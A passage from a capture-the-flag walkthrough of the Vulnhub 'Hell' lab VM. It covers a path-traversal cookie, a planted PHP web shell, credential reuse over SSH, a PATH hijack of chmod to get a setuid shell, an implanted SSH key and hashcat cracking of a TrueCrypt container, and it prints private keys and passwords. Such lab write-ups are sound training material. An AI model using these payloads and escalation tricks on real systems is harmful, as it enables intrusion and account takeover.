proxy❌13:13:proxy:/bin:/bin/sh www-data❌33:33:www-data:/var/www:/bin/sh backup❌34:34:backup:/var/backups:/bin/sh list❌38:38:Mailing List Manager:/var/list:/bin/sh irc❌39:39:ircd:/var/run/ircd:/bin/sh gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody❌65534:65534:nobody:/nonexistent:/bin/sh libuuid❌100:101::/var/lib/libuuid:/bin/sh Debian-exim❌101:104::/var/spool/exim4:/bin/false statd❌102:65534::/var/lib/nfs:/bin/false sshd❌103:65534::/var/run/sshd:/usr/sbin/nologin postgres❌104:108:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash george❌1000:1000:george,,,:/home/george:/bin/bash mysql❌105:109:MySQL Server,,,:/nonexistent:/bin/false jack❌1001:1001::/home/jack:/bin/sh milk_4_life❌1002:1002::/home/milk_4_life:/bin/sh developers❌1003:1003::/home/developers:/bin/sh bazza❌1004:1004::/home/bazza:/bin/sh oj❌1005:1005::/home/oj:/bin/sh \u0026lt;/HTML\u0026gt; root@kali:~# YEAH. That felt pretty darm good! Obviously not knowing all the steps needed to complete this VM, I figured I had come a pretty long way to finding the pot of gold. (Note the users in this file for later) During the enumeration I took a chance to include /root/flag.txt:\nroot@kali:~# cat cookies # Netscape HTTP Cookie File # http://curl.haxx.se/rfc/cookie_spec.html # This file was generated by libcurl! Edit at your own risk. 192.168.56.102 FALSE / FALSE 0 PHPSESSID 8u300rbb0747fi6iocm0lt4310 192.168.56.102 FALSE /super_secret_login_path_muhahaha/ FALSE 0 failcount 4 192.168.56.102 FALSE /super_secret_login_path_muhahaha/ FALSE 0 intruder ....//....//....//....//....//root/flag.txt root@kali:~# curl http://192.168.56.102/super_secret_login_path_muhahaha/panel.php -c cookies -b cookies \u0026lt;HTML\u0026gt; \u0026lt;CENTRE\u0026gt; \u0026lt;H2\u0026gt; Folders \u0026lt;/H2\u0026gt; \u0026lt;TABLE style=\u0026#34;width:700px\u0026#34; align=\u0026#34;center\u0026#34;\u0026gt; \u0026lt;TR\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;A HREF=\u0026#34;server.php\u0026#34;\u0026gt;\u0026lt;IMG SRC=\u0026#39;folder.png\u0026#39;\u0026gt;\u0026lt;/A\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;A HREF=\u0026#34;mail.php\u0026#34;\u0026gt;\u0026lt;IMG SRC=\u0026#39;folder.png\u0026#39;\u0026gt;\u0026lt;/A\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;A HREF=\u0026#34;users.php\u0026#34;\u0026gt;\u0026lt;IMG SRC=\u0026#39;folder.png\u0026#39;\u0026gt;\u0026lt;/A\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;A HREF=\u0026#34;personal.php\u0026#34;\u0026gt;\u0026lt;IMG SRC=\u0026#39;folder.png\u0026#39;\u0026gt;\u0026lt;/A\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;A HREF=\u0026#34;notes.php\u0026#34;\u0026gt;\u0026lt;IMG SRC=\u0026#39;folder.png\u0026#39;\u0026gt;\u0026lt;/A\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;/TR\u0026gt; \u0026lt;TR\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;H4\u0026gt;Server Status\u0026lt;/H4\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;H4\u0026gt;Mail Status\u0026lt;/H4\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;H4\u0026gt;Auth Users\u0026lt;/H4\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;H4\u0026gt;Personal Folder\u0026lt;/H4\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;TD\u0026gt;\u0026lt;H4\u0026gt;Notes\u0026lt;/H4\u0026gt;\u0026lt;/TD\u0026gt; \u0026lt;/TR\u0026gt; \u0026lt;/CENTRE\u0026gt; Congratulations of beating Hell. I hope you enjoyed it and there weren\u0026#39;t to many trolls in here for you. Hit me up on irc.freenode.net in #vulnhub with your thoughts (Peleus) or follow me on twitter @0x42424242 Flag: a95fc0742092c50579afae5965a9787c54f1c641663def1697f394350d03e5a53420635c54fffc47476980343ab99951018fa6f71f030b9986c8ecbfc3a3d5de \u0026lt;/HTML\u0026gt; root@kali:~# And bingo. Technically we finished what the original goal was, though, re-reading the original entry on Vulnhub, I was almost certain this was not the only way to get to this. Maybe a bug on the original release of the VM? I don\u0026rsquo;t know. From here on onwards, the goal was no longer to read /root/flag.txt. No, we now have to root this VM :)\ngaining shell With the focus slightly shifting, and our ability to read files off the file system, the next natural step was to attempt to get command execution on the VM. Remembering the notes.php file, I decided to try include /tmp/note.txt. This worked just fine and echoed my testing attempts from earlier. So with this information, I simply went back to notes.php, entered: \u0026lt;?php print_r(shell_exec($_GET['c'])); ?\u0026gt;, and submitted the form. Next I edited the cookiejar to include /tmp/notes.txt, and proceeded to test my command execution:\nroot@kali:~# curl http://192.168.56.102/super_secret_login_path_muhahaha/panel.php?c=id -c cookies -b cookies [snip] \u0026lt;/CENTRE\u0026gt; uid=33(www-data) gid=33(www-data) groups=33(www-data) \u0026lt;/HTML\u0026gt; root@kali:~# Yay :) With this confirmed working, I modified the command exec request slightly so that commands with potentially strange characters are correctly encoded etc:\ncurl http://192.168.56.102/super_secret_login_path_muhahaha/panel.php?c=$(echo -n “ls -lah” | python -c \u0026#34;import urllib, sys; print urllib.quote(\u0026#39;\u0026#39;.join(sys.stdin));\u0026#34;) -c cookies -b cookies becoming jack With command execution, it was easy to start enumerating as much as possible about the VM. At least as much as the www-data user has access to, which is generally quite a lot.\nI looked at the source files for the website out of curiosity about the filtering etc that was going on. I stumbled upon some MySQL credentials in login.php:\n// mysql_connect(\u0026#34;127.0.0.1\u0026#34;, \u0026#34;Jack\u0026#34;, \u0026#34;zgcR6mU6pX\u0026#34;) or die (\u0026#34;Server Error\u0026#34;); I\u0026#39;ll change this back once development is done. Got sick of typing my password. mysql_connect(\u0026#34;127.0.0.1\u0026#34;, \u0026#34;www-data\u0026#34;, \u0026#34;website\u0026#34;) or die(\u0026#34;Server Error\u0026#34;); The comment was quite helpful along with all the mentions of Jack on the website, along with the /etc/passwd revealing a jack user, I tried these credentials on a SSH session:\nroot@kali:~# ssh jack@192.168.56.102 jack@192.168.56.102\u0026#39;s password: Linux hell 3.2.0-4-486 #1 Debian 3.2.57-3+deb7u2 i686 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. No mail. Last login: Sun Jul 20 04:29:06 2014 from 192.168.56.1 $ id uid=1001(jack) gid=1001(jack) groups=1001(jack) $ Well that was easy\u0026hellip; With this shell, I also checked out the MySQL database to see if there is any interesting information:\n$ mysql -uwww-data -pwebsite Welcome to the MySQL monitor. Commands end with ; or \\g. Your MySQL connection id is 10320 Server version: 5.5.37-0+wheezy1 (Debian) Copyright (c) 2000, 2014, Oracle and/or its affiliates. All rights reserved. Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners. Type \u0026#39;help;\u0026#39; or \u0026#39;\\h\u0026#39; for help. Type \u0026#39;\\c\u0026#39; to clear the current input statement. mysql\u0026gt; show databases; +--------------------+ | Database | +--------------------+ | information_schema | | website | +--------------------+ 2 rows in set (0.00 sec) mysql\u0026gt; use website; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed mysql\u0026gt; show tables; +-------------------+ | Tables_in_website | +-------------------+ | users | +-------------------+ 1 row in set (0.00 sec) mysql\u0026gt; select * from users; +----------+-----------+ | username | password | +----------+-----------+ | Jack | g0tmi1k69 | +----------+-----------+ 1 row in set (0.00 sec) mysql\u0026gt; Alrighty. I made a note about the credentials we have associated with \u0026lsquo;Jack\u0026rsquo; so far. I also tested these credentials on the website, just to get a feel of what the site was actually supposed to do :P\nbecoming milk_4_life Jack had a .pgp folder with a private key stored in hes home directory.\n$ pwd /home/jack/.pgp $ ls -lah total 20K drwx------ 2 jack jack 4.0K Jun 18 12:35 . drwx------ 4 jack jack 4.0K Jun 22 18:28 .. -rwx------ 1 jack jack 39 Jun 18 12:35 note -rwx------ 1 jack jack 1.8K Jun 18 12:20 pgp.priv -rwx------ 1 jack jack 890 Jun 18 12:24 pgp.pub $ cat pgp.priv -----BEGIN PGP PRIVATE KEY BLOCK----- Version: BCPG C# v1.6.1.0 lQOsBFOg9v8BCACbr++BXlL9e4N6pzcrHkNZGANB7Ii3vHc0Nj37kCm7ZuTMx4LN bpWrqGb9W9grS9YQ7xSEkBShaKlWMilb4rqrM/tmDyuGt9UozCrVrCTfaZdPl72o u1QO1DxTT9/iFwlb6AAjTvJGQQx92PQeShEOeTtycH+Xz4tx1ezHpbA4HK9ijftR lyZy+y9GPSqYLsIU3N8WtnrTJRfSMiU/AGv/GWpykp3tlHjIL0YSHfvUppe4xAil 54J+LN7se3jKuFcRM+i9TF08hsTtM6azl7X4yyEDhHcvWgFY/vyggEwe6/ZP1IKG zzAWi0sx7tlZLxyr9AFSXLwLvbhUpR3M5rJBABEBAAH/AwMC8ht700SVD+1guMSO NKMnwLvKkrmW32b/zo/x4g4MbhUs1BXIvHfGw1ArsEpkMucb8utDqGzcwctR00de jTr/nFo0gKxBMgc34e9HNTI0iFlVYWDFZqU4ie6/Pyt8qvZHOe5Aq0qPsCkcdMME bR6EQng1ZBXX7zHCF2TobPnIxp5CGI2WUwXmXaGQS/hRriIcAhDx5ZFFqOdVQWES mLo5Rd205/M4mungbUvwrHayu6ZGume+VXs630YaacNiBFpXnPDfKOCipZ+EhYsz 7febMxXj3mANwLXQfyTZOIXPzMptE11fbDA8jpy9m0vMy5ZCpJnp/VoTaaUxMz45 OeUI9nKTx9P1lGPC9hYidshg3Sg5Iz/qqmL/byAv1bUV2YOdJlAS1XY9Jj/wNrYz yG9ASw5nfp0ChhLYnnU4dgfEk5bajGvgnhZAlb/+yNvJ5eUcwivjFC8jJUwlrZ+Z oj1XAC4148JsjcQHW1d7yONc4iI7tSubMNa5GfBal1BxMRLP3nSZ4ICl67gTjrKH ztiMKAefip3ywnRomfn7q9raJQ8TsKp0+REVy05mhZMZ1AdMlZzhTz8cYy8II6yr qSxuJARfJ95FGYPrASMfJ+aZfPNk5RDnH5d92vxm/nIWexdayZqqQJG4MzOhtrjx a0YouqQhxvD2aKslEBJ1S/D4D40xkVI+oaI+aM/6X+XzC2XVJgm7G8FvmtE09BUm fAMUxE/bgsv33QXsURtelfuoZRLz/OmwybXpwv+Zen0n8hpjQEAOhqD4eieIxH9j 7W6ijInh9XD8jcnUa4eHw7WDa0LPtyQSbPZB1hZou6z8pAZY0LxhmstpPjSYfdKR HRjhRuu0tdZ2PrKx1wKooo/iiJdZ0Cgizlu4k76rDrQSamFja0Bjb3dsb3ZlcnMu Y29tiQEcBBABAgAGBQJToPb/AAoJEL26wSU/GKsKnk0H/iWvOGuWwge8VteqxPip yu2LwvLzjbHAeWwBmsg69h+Yl5l8Y+3B9aoCpnjM2QmMAFHxVA8L6Z4UIyhNJ90Y l18rYZec9cDUrflowd/A4QVrJNCV/5kCyPeQ03mzGHnlTTvb/qBMymmpVBeP3JoK vZkGYzFBmrt7q19b3VcvexLTwtLtch8NUOt6719UFRvxE+EXu4JbItr7dSqfYDbh zHsfGaeU1hCQJg/n83IRxTBsc7h1jIOxraovzbErqpZ6YeYhCK5oo38dJVpz9Daa quU6lGTizKWX3HS29HQl+PJvzoHyj3T6Aw71BZF4lZNrJmzxHqhVYuRWptioyTWo tqg= =SCkw -----END PGP PRIVATE KEY BLOCK----- $ There was also a note in the directory:\n$ cat note The usual password as with everything. With all this information now known to us, and the fact that I know PGP is pretty popular to encrypt files and sign mail, I figured we had to get this key loaded and decrypt something using it. Further enumeration revealed that /var/mail was world readable:\n$ pwd /var/mail/jack/received $ ls -lah total 12K drwxr-sr-x 2 root mail 4.0K Jun 18 12:26 . drwxr-sr-x 3 jack jack 4.0K Jul 5 19:56 .. -rw-r--r-- 1 root mail 709 Jun 18 12:26 message.eml $ cat message.eml -----BEGIN PGP MESSAGE----- Version: BCPG C# v1.6.1.0 hQEMA726wSU/GKsKAQf/ZnGxyaHQ6wMhSzpbn2J2uVKoPFS3tHdnBzJ18kswBwOm yff3Joe5RTtMgdjydD+37DSg6SikjcdzJiHV3y5QHqxVcNt5xo0BdYNCWoqjdMzJ 3g50VEwMg5DZwLvTmUr4f+CJ7bc/Cv2hHazKXnT7s71lqBLSCCsNwZuWpxYW1OMX 7CNE92QXayltmQ0GLajIMtzmGlszgwQkVjQ2h9wMGelVYHi5hYsEZzIdh6/9Jo24 rerlq1CY6/T70KsY6GyBoU3iKFgsIkwcb6whrlR/6SCK2vNmLlz2AfDSITYY+6vZ MWXhiYbZSRyHq7gaYRKS6kzG6uLlsyq4YnQzhz8M+sm4dePDBvs7U6yAPJf4oAAH 9o01Fp3IJ1isvVMH5Fr8MwQjOAuo6Yh6TwbOrI/MVpphJQja8gDKVYr2tlqNS5me V8xJ7ZUxsh67w/5s5s1JgEDQt+f4wckBc8Dx5k9SbS9iRUbZ0oLJ3IM8cUj3CDoo svsh0u4ZWj4SrLsEdErcNX6gGihRl/xs3qdVOpXtesSvxEQcWHLqtMY94tb29faD +oQPjG3V4cSY5r566esUAlCn7ooYyx6Dug== =svWU -----END PGP MESSAGE----- I loaded the private GPG key into jacks keyring with:\n$ gpg --import .pgp/pgp.priv gpg: keyring `/home/jack/.gnupg/secring.gpg\u0026#39; created gpg: key 3F18AB0A: secret key imported gpg: key 3F18AB0A: public key \u0026#34;jack@cowlovers.com\u0026#34; imported gpg: Total number processed: 1 gpg: imported: 1 (RSA: 1) gpg: secret keys read: 1 gpg: secret keys imported: 1 Ofc this doesn’t mean I can actually use it yet, however there was a note about the password, so I could possibly just try all the ones I have found so far for jack. Decrypting the encrypted message we found for jack was as simple as:\n$ gpg /var/mail/jack/received/message.eml You need a passphrase to unlock the secret key for user: \u0026#34;jack@cowlovers.com\u0026#34; # used the password g0tmi1k69 found in the MySQL database 2048-bit RSA key, ID 3F18AB0A, created 2014-06-18 gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences gpg: encrypted with 2048-bit RSA key, ID 3F18AB0A, created 2014-06-18 \u0026#34;jack@cowlovers.com\u0026#34; gpg: /var/mail/jack/received/message.eml: unknown suffix Enter new filename [text.txt]: gpg: WARNING: message was not integrity protected $ cat text.txt Ok Jack. I\u0026#39;ve created the account \u0026#39;milk_4_life\u0026#39; as per your request. Please stop emailing me about this now or I\u0026#39;m going to talk to HR like we discussed. The password is \u0026#39;4J0WWvL5nS\u0026#39; So, lets ssh in as milk_4_life\u0026hellip;\nroot@kali:~# ssh milk_4_life@192.168.56.102 milk_4_life@192.168.56.102\u0026#39;s password: Linux hell 3.2.0-4-486 #1 Debian 3.2.57-3+deb7u2 i686 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. $ id uid=1002(milk_4_life) gid=1002(milk_4_life) groups=1002(milk_4_life) Easy :D\nbecoming george The user milk_4_life has a game in hes home folder.\n$ ls -lah game ---s--x--x 1 george george 5.7K Jun 19 18:24 game $ ./game I\u0026#39;m listening Not a very interesting game thus far. I decided to quit and rerun the game, this time backgrounding it with \u0026amp;. At this stage I wanted to run a netstat to see if it is listening on a port or something, but the netstat command was not available. I figured I could cause a error as the same port can not be opened twice. So, with ./game \u0026amp; already running, another instance of ./game errored out, revealing the listening port:\n$ ./game \u0026amp; I\u0026#39;m listening $ ./game Traceback (most recent call last): File \u0026#34;/usr/bin/game.py\u0026#34;, line 58, in \u0026lt;module\u0026gt; tcpSocket.bind((\u0026#34;0.0.0.0\u0026#34;, 1337)) File \u0026#34;/usr/lib/python2.7/socket.py\u0026#34;, line 224, in meth return getattr(self._sock,name)(*args) socket.error: [Errno 98] Address already in use Lol nope $ tcp/1337 it is. Lets telnet to this:\nmilk_4_life@hell:~$ telnet 127.0.0.1 1337 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is \u0026#39;^]\u0026#39;. Type \u0026#39;START\u0026#39; to begin START Starting... You have 30 seconds to get as many points as you can, beat the high score! (High Score: 133723) Quick what\u0026#39;s... 397 x 358? 1 Quick what\u0026#39;s... 498 x 111? 2 Quick what\u0026#39;s... 740 x 772? Final Score: 0 Connection closed by foreign host. milk_4_life@hell:~$ Typing anything other than START would simply cause the script to die. Typing a non integer as a answer causes a loop, and that is about it. Sooo, time to win this game and see what would happen. I decided to attempt this with a python script. The general idea would be to read the socket output, calculate the answer and send that back. This resulted in a script as follows (yeah I know its not perfect but gets the job done):\n#!/usr/bin/python import socket, sys # start a socket sock = socket.socket() # connect locally sock.connect((\u0026#39;127.0.0.1\u0026#39;, 1337)) ret = sock.recv(1024) # read 1024 bytes print \u0026#39;[I] %s\u0026#39; % ret.strip() # start the game print \u0026#39;[O] START\u0026#39; sock.send(\u0026#39;START\\n\u0026#39;) # START the game ret = sock.recv(1024) # read 1024 bytes print \u0026#39;[I] %s\u0026#39; % ret.strip() # Start reading the socket input and calculating answers sending them back while True: ret = sock.recv(1024) print \u0026#39;[I] %s\u0026#39; % ret.strip() # split by spaces ret = ret.split(\u0026#39; \u0026#39;) # a question line if ret[0] == \u0026#39;Quick\u0026#39;: # extract the 2 integers from: # [\u0026#39;Quick\u0026#39;, \u0026#34;what\u0026#39;s...\u0026#34;, \u0026#39;435\u0026#39;, \u0026#39;x\u0026#39;, \u0026#39;574?\u0026#39;, \u0026#39;\u0026#39;] one = int(ret[2]) two = int(ret[4].replace(\u0026#39;?\u0026#39;,\u0026#39;\u0026#39;)) # remove the comma answer = one * two print \u0026#39;[O] Answer %s\u0026#39; % answer sock.send(str(answer) + \u0026#39;\\n\u0026#39;) # once the 30 seconds passes, a line with Final will return. This # is the end of the game elif ret[0] == \u0026#39;Final\u0026#39;: print \u0026#39;Done?\u0026#39; sock.close() sys.exit(0) # if we dont know what to do, just \u0026#39;press enter\u0026#39; else: sock.send(\u0026#39;\\n\u0026#39;) sock.close() I ran this in another session with ./game running and won :P Once you win, the output results in:\n!*!*!*!*! Congratulations, new high score (302785) !*!*!*!*! I hear the faint sound of chmodding....... \u0026hellip; and ends. Heh, ok. Well that was probably not exactly what I hoped for, but nonetheless, the chmodding is at least a hint. The first thing that came to mind is a important file that was previously not available now possibly is as its been chmodded by george after winning the game. Or, if it is in fact a chmod that is being run, is it being called via a system command from its full path (/usr/bin/chmod), or just via chmod?\nTo test, I fired up another editor on chmod.py and just put a line to echo test. I chmod +x this and moved the file to /tmp. I then added /tmp to PATH via export PATH=/tmp:$PATH:\nmilk_4_life@hell:~$ python chmod.py # test the script Testing chmod exec milk_4_life@hell:~$ cp chmod.py /tmp/chmod # copy it to /tmp milk_4_life@hell:~$ chmod +x /tmp/chmod # make it executable milk_4_life@hell:~$ /tmp/chmod # test it Testing chmod exec milk_4_life@hell:~$ export PATH=/tmp:$PATH # prefix PATH with /tmp milk_4_life@hell:~$ chmod # test it without full path Testing chmod exec milk_4_life@hell:~$ ./game # start the game I\u0026#39;m listening Testing chmod exec # profit :) With it confirmed that chmod was not called from its full path once you win the game (using our previously mentioned winning script :D), it was time to edit our chmod script to be slightly more useful:\n#!/usr/bin/python import pty pty.spawn(\u0026#39;/bin/sh\u0026#39;) With this now in /tmp/chmod, I reran ./game.py, and then ./play_game.py. After 30 seconds on the session we started the game we had:\nmilk_4_life@hell:~$ ./game I\u0026#39;m listening $ id uid=1002(milk_4_life) gid=1002(milk_4_life) euid=1000(george) groups=1000(george),1002(milk_4_life) $ Profit! We now have access to george\u0026rsquo;s home directory :) In order to make the next steps easier, I quickly generated a new ssh key pair using ssh-keygen, and added the contents of the resultant id_rsa.pub to .ssh/authorized_keys. Whats important to note in the below snippet is that the full path of chmod is used. If we don’t, we will be hitting the chmod we just fooled to get to this shell in the first place :D\n$ id uid=1002(milk_4_life) gid=1002(milk_4_life) euid=1000(george) groups=1000(george),1002(milk_4_life) $ cd /home/george $ mkdir .ssh $ /bin/chmod 755 .ssh $ cd .ssh $ echo \u0026#34;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3KB7V05tHJAWFavTgTK1dDIcUUVyUpZA3TYQhydNjeexWDeVzPNUGCo3/XZNgqw0QpaoX5eLm9k9OqxNyr7x5B6Rq2F7ykA0DHglbM4DLJDQRawHgoCzTwxBWAMva3HUbahounJFe9fOaECGZEsCmTF1462wTuZ/SYOO9lSHv38cO8b9nC5lteBz2An34+W/n9X1sxBAlDAHyXmAqJYpoE+gur+YX8j3WPNJbiBu3nVnvpDaR1BnvN1n74/yUtLYziT5Gt7lgRWiaDhzslR+46xbu/YmCyO03ztHhD/lD2JAcoEe43FKFUdh8ZGfBqCq0CbBB86KHhhLzV6QjLHjV root@kali\u0026#34; \u0026gt; authorized_keys $ /bin/chmod 600 authorized_keys Now we can SSH into the VM as george\nroot@kali:~# ssh george@192.168.56.102 -i id_rsa Linux hell 3.2.0-4-486 #1 Debian 3.2.57-3+deb7u2 i686 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. No mail. Last login: Sat Jul 5 19:26:25 2014 george@hell:~$ becoming bazza George\u0026rsquo;s home directory had what looked like a TrueCrypt container 4.0M Jun 19 21:09 container.tc in hes home directory. TrueCrypt appeared to be installed on the VM, and attempting to mount the container failed due to an invalid keyfile and or password.\ngeorge also had mail in /var/mail:\ngeorge@hell:~$ cat /var/mail/george/signup.eml From: admin@rockyou.com To: super_admin@hell.com Subject: Account Activation Date: 13th November 2009 Thanks for signing up for your account. I hope you enjoy our services. george@hell:~$ There is a mention of rockyou in the From address. There is a famous rockyou wordlist used for password cracking out in the wild. With that in mind, and the fact that it was 0430 already, I decided to copy the container.tc to my Kali Linux install, and have truecrack have a go at it while I catch up on some much deserved sleep.\nfast forward a few hours A few hours passed, with 0 luck on cracking the password for the container. I started to realize that this may not be the correct path in getting the container open, assuming that is the next step. However, as a last resort, I opted to copy the files onto my Windows gaming PC and run it via a GPU cracker, oclHashcat.\nC:\\Users\\Somedude\\Downloads\\oclHashcat-1.21\\oclHashcat-1.21\u0026gt;oclHashcat64.exe -m 6211 C:\\Users\\Somedude\\Desktop\\Hell\\container.tc C:\\Users\\Somedude\\Desktop\\Hell\\rockyou.txt [snip] C:\\Users\\Somedude\\Desktop\\Hell\\container.tc:letsyouupdateyourfunnotesandmore Session.Name...: oclHashcat Status.........: Cracked Input.Mode.....: File (C:\\Users\\Somedude\\Desktop\\Hell\\rockyou.txt) Hash.Target....: File (C:\\Users\\Somedude\\Desktop\\Hell\\container.tc) Hash.Type......: TrueCrypt 5.0+ PBKDF2-HMAC-RipeMD160 + AES Time.Started...: Sun Jul 20 14:26:08 2014 (19 secs) Speed.GPU.#1...: 14578 H/s Speed.GPU.#2...: 16165 H/s Speed.GPU.#*...: 30743 H/s Recovered......: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.......: 563201/14343297 (3.93%) Skipped........: 0/563201 (0.00%) Rejected.......: 1/563201 (0.00%) HWMon.GPU.#1...: 64% Util, 54c Temp, 43% Fan HWMon.GPU.#2...: 0% Util, 90c Temp, 100% Fan Started: Sun Jul 20 14:26:08 2014 Stopped: Sun Jul 20 14:26:42 2014 About 19 seconds later, we have the password thanks to hashcat!\nSo, lets mount the container and see whats inside:\ngeorge@hell:~$ truecrypt container.tc Enter mount directory [default]: Enter password for /home/george/container.tc: letsyouupdateyourfunnotesandmore Enter keyfile [none]: Protect hidden volume (if any)? (y=Yes/n=No) [No]: george@hell:~$ cd /media/truecrypt1/ george@hell:/media/truecrypt1$ ls -lah total 22K drwx------ 2 george george 16K Jan 1 1970 . drwxr-xr-x 4 root root 4.0K Jul 21 18:50 .. -rwx------ 1 george george 1.7K Jul 5 20:01 id_rsa george@hell:/media/truecrypt1$ cat id_rsa -----BEGIN RSA PRIVATE KEY----- MIIEpQIBAAKCAQEAxlCbg0ln2dqRO3iIXPUvK3irg/9l5uvBAQdXTVmcm/JWN9OA 25XtZX8LOfiJtc+8OYXgD6lXNVPh9BjElq6qpR7fk1TaXXUlyiSlwCxz68n/cpYs f6UUa9QXm0LSHD8m7g/e5qqIm8bb15TIC6+8TmSB11FE9NLPN+8hVyP1S9EBntom t5watKDFUNF+mcl14Tj+INcWB2qpEPgZ1mIwq1Zw3w/vy27y0i1r52+fot1vgf2K Ymo6GipsdxW1k/UuCjJEE6e0GZFA8vhpH5F4MG8k33vIPqkxgEgF0GX8RPAQF/Xf gxERhkGP+hVOd8b11OXzxWGGQyqwOYF8+7qVjwIDAQABAoIBAQCyldpFUvBDXbEV dgiOdXkh04vY1UBlv/3ROFQk4sLGKGf94+gRViUvFkX80VTptgWRY36Pe/Z9nmlG 0JsP+oDPK0s4uNvf92Otcm0U7rMBLals/dFarUUDiT4s4fKl3zTmgsI+xGk6psxI icHPzFRt39KRHK1VLxXOD/jdKRN3Tk0odH1kNahOuFC2F5T+aqdlC/RAGwxnTDBe AFPFlns83GaPYlIt05DZsdGftG7mITkNfUVS5AIyeedshU4OyPXu5bGgUgbtars4 GdttJ33Tm5hO+n3E93sW7XMKG4v4po+1Fu0OwNQNpaRo6gVqK7AZHNPxBRW7K4Zc w2d0EXehAoGBAOQgtqb5QVyhiCdT53xjZTMHH74ApWRpsoLtu/LaZnQV0v/dzEIv jei58v/PusXsSwOQeb4p2obOReQFbYG48vCiywwMbeOeqH2d69HYatHmxPXngKS3 6trus/pHuDJosFw1qhgVo9ao0o8IH6cveHidmwvzKfiphgM3yCXF9jyxAoGBAN6L awHXmHQCsCq//UbHbfuaBScJOpaagKP1BIskl5RDaQ/U/DzSpxju0ldedX7HYVFW Rk6NQQ6QiXIC/5D7Xj+tcR2EFI+Tt9xp6dE/UlxpUL1h9QCBfmdw0CT9WSwJEGF7 R+D18trKcb/NkYdJV8ZpaT00rLzyBx5MY/FZbYY/AoGBALrCwWXfR5BjOckgmrGt 2cq1uVnew4h6M8eWgzklbZz5xPzuAuvobKAro3GkCb9BXIQ1gkWZlCqqsnMjsmvy EwnH7L0Xa9teJ4h3gfkQ2Rqwd2ztstanLyE/LJ7omjbCmCdVU8RV6wSwv3iTaP6B EXqFZMqarzDA8FKwFy49bAJxAoGBALkXBYG7uW1LSw/TLCjw9zVaTUzBLTxS9gjn YMcFQRir1Da5sqw3m4huIP1Pb7NoyjTm54SvkNs3NUlg2wPPPP0DGOAumRctCa9F W5WP78UyRlesoCOyj9oihsss9zxbsYcSDJ86j6iO1Xpr08zMIDfCNigUplJjja4S ZNE3ypLrAoGAbp+vBcqQRfnXWfmcdnHYFbwgWbokPSe2fScajWiyvcg4/6gL1e50 rpO3RTOREUD02pBbyG4LDFv7x/5niqASL0tS8/0xWDBDj5QmD9UTmMd5hsMbj8Lw qJA0ErZEjIE9+jXYLbsTsB8tRTsqMqBfCCovHXAjy0h5B6j500PfImM= -----END RSA PRIVATE KEY----- george@hell:/media/truecrypt1$ So, a rsa private key. A wild shot in the dark sais this is the private key for one of the other users as per the /etc/passwd. I saved the key to a file on my Kali Linux box and attempted to SSH in as bazza, specifying the private key to use:\nroot@kali:~# ssh bazza@192.168.56.102 -i truecrypt_id_rsa Linux hell 3.2.0-4-486 #1 Debian 3.2.57-3+deb7u2 i686 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Mon Jul 21 18:52:50 2014 from 192.168.56.1 $ id uid=1004(bazza) gid=1004(bazza) groups=1004(bazza) $ becoming oj bazza had 2 interesting files in hes home directory:\nbazza@hell:~$ ls -lh total 20K -rw-r--r-- 1 root root 109 Jul 6 18:32 barrebas.txt -r-xr-sr-x 1 oj developers 6.1K Jul 6 18:39 part1 -r-sr-xr-x 1 oj oj 5.2K Jul 6 18:34 part2 The barrebas.txt looks to be a shoutout to the tester of the vulns. part1 \u0026amp; part2 from first glance had interesting permissions, and made it relatively easy to determine that the next user we should be after this is oj. Running part1 and part2:\nbazza@hell:~$ ./part1 Checking integrity of part2... Done!! Checking integrity of calling target... Done!! Binary and target confirmed. Can\u0026#39;t touch this *nah na na na na naaaaaaaa nah* uid=1004(bazza) gid=1004(bazza) euid=1005(oj) egid=1003(developers) groups=1005(oj),1004(bazza) bazza@hell:~$ ./part2 Error! 1004 ID detected ... youre not allowed to run this, please use part 1! bazza@hell:~$ So it seems that part2 is protected apparently due to the fact that our uid (or groupid?) of 1004 was not allowed. Slightly cryptic, but a few thoughts about what the binaries are doing were already going about. part1 outputs what looks like the output of the id command too.\nAgain, this part took some time and resulted in a rabbit-hole scenario of try something, google something, try something, google something. I am not going to go through everything I have tried for this part, but simply try depict how I managed to figure this out in the end.\nWe start with a strings of part1:\nbazza@hell:~$ strings part1 /lib/ld-linux.so.2 __gmon_start__ libc.so.6 _IO_stdin_used puts popen printf fgets system pclose strcmp __libc_start_main GLIBC_2.1 GLIBC_2.0 PTRh QVhl [^_] 900462fbf9593f1a4b753f1729c431abc80932a151e9b293e13822a91f9641c1 /home/bazza/part2 